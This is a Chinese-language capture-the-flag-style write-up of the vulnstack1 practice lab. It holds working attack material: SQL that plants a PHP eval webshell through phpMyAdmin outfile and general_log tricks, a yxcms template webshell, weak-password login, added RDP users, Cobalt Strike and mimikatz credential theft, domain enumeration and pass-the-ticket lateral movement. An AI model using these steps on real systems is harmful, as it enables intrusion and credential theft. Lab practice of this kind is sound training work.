红日靶场vulnstack1实战笔记

前言

靶场下载链接:http://vulnstack.qiyuanxuetang.net/vuln/detail/2/

参考链接:https://www.cnblogs.com/1vxyz/p/17201316.html

https://blog.csdn.net/weixin_46022776/article/details/139295589

拓扑图:

domain2_1

环境配置

目标IP:192.168.170.139

DMZ-Windows7:

网卡1(NAT,相当于外网):192.168.170.139

网卡2(仅主机,相当于内网):192.168.52.143

DC-WindowsServer2008:

网卡(仅主机,相当于内网):192.168.52.138

域成员-Windows2K3:

网卡(仅主机,相当于内网):192.168.52.141

渗透过程

信息搜集

按照宇宙惯例对目标IP进行扫描,发现其80、3306等端口均开放

domain2_2

使用dirsearch对目标目录进行爆破,发现存在/phpmyAdmin

domain2_3

尝试使用弱口令root/root直接登入

phpmyadmin后台getshell

phpmyadmin存在以下两种getshell的方式:

  • into outfile导入木马
  • 利用MySQL日志文件getshell

尝试into outfile导入木马

执行 select @@basedir; 查看一下网站的路径

domain2_4

可知路径为C:/phpstudy/MySQL

再尝试执行select '<?php eval($_POST[cmd]);?>' into outfile 'C:/phpStudy/www/hack.php';

尝试将木马写入到www网站的根目录下,但失败了

原因是MySQL的新特性secure_file_priv会对读写文件产生影响,该参数用来限制导入导出,可以借助show global variables like '%secure%';命令来查看该参数

domain2_4

可见此处secure_file_priv的值为NULL,当secure_file_priv的值为NULL时,表示限制MySQL不允许导入导出,所以into outfile写入木马出错。要想使得该语句导出成功,则需要在Mysql文件夹下修改my.ini 文件,在[mysqld]内加入secure_file_priv =””

利用Mysql日志文件写入shell

先执行命令:show variables like '%general%'; 查看日志状态:

domain2_4

当开启 general_log 时,所执行的 SQL 语句都会出现在 stu1.log 文件中,如果修改 general_log_file 的值为一个php文件,则所执行的 SQL 语句就会对应生成在对应的文件中,进而可 Getshell

开启 general_log:

1
SET GLOBAL general_log='on'

指定日志写入到网站根目录的 hack.php 文件

1
SET GLOBAL general_log_file='C:/phpStudy/www/hack.php'

然后执行SQL语句,SELECT '<?php eval($_POST["cmd"]);?>',可将此一句话木马写入hack.php

访问/hack.php可发现已成功写入

yxcms后台getshell

参考其他师傅的wp,其实在目标IP的/yxcms路径下可发现还存在有一个cms系统,前台公告处发现存在泄露后台地址以及默认的管理员用户名和密码,尝试登录成功,在后台的模板处对前台模板进行编辑,写入木马然后进行保存

domain2_4

此外,通过泄露的cms备份文件beifen.rar可知前台模板的php文件保存路径为:/yxcms/protected/apps/default/view/default/通过此路径,我们也可以成功连接上shell

内网信息探测搜集

用蚁剑连接shell,查看开放的端口,发现3389并未开放,输入命令打开3389端口,并创建新用户test1024成功登录远程桌面

发现是Windows7系统,且存在域god.org

domain2_4

由于个人使用习惯,使用CobaltStrike生成木马并在该机器执行,成功上线CS

然后在CS使用mimkatz成功得到administrator用户的密码

domain2_4

内网信息收集的主要目的就是查找域控以及域内的其他主机

1
2
3
4
5
6
7
8
9
10
11
12
net view                 # 查看局域网内其他主机名
net config Workstation # 查看计算机名、全名、用户名、系统版本、工作站、域、登录域
net user # 查看本机用户列表
net user /domain # 查看域用户
net localgroup administrators # 查看本地管理员组(通常会有域用户)
net view /domain # 查看有几个域
net user 用户名 /domain # 获取指定域用户的信息
net group /domain # 查看域里面的工作组,查看把用户分了多少组(只能在域控上操作)
net group 组名 /domain # 查看域中某工作组
net group "domain admins" /domain # 查看域管理员的名字
net group "domain computers" /domain # 查看域中的其他主机名
net group "doamin controllers" /domain # 查看域控制器主机名(可能有多台)

内网渗透

利用拿下的机器进行内网扫描,可以发现另外两台内网的机器,由于之前已经利用mimkatz窃取到了用户的哈希凭证,这里可以直接利用票据传递攻击来进行横向移动

使用SMB方式建立监听(注意!Guardrails可不设置任何内容)右键进行票据传递攻击

domain2_4

成功拿下域控以及另一台域内主机

domain2_4


红日靶场vulnstack1实战笔记
http://example.com/2024/08/03/domain2/
作者
ZERO
发布于
2024年8月3日
许可协议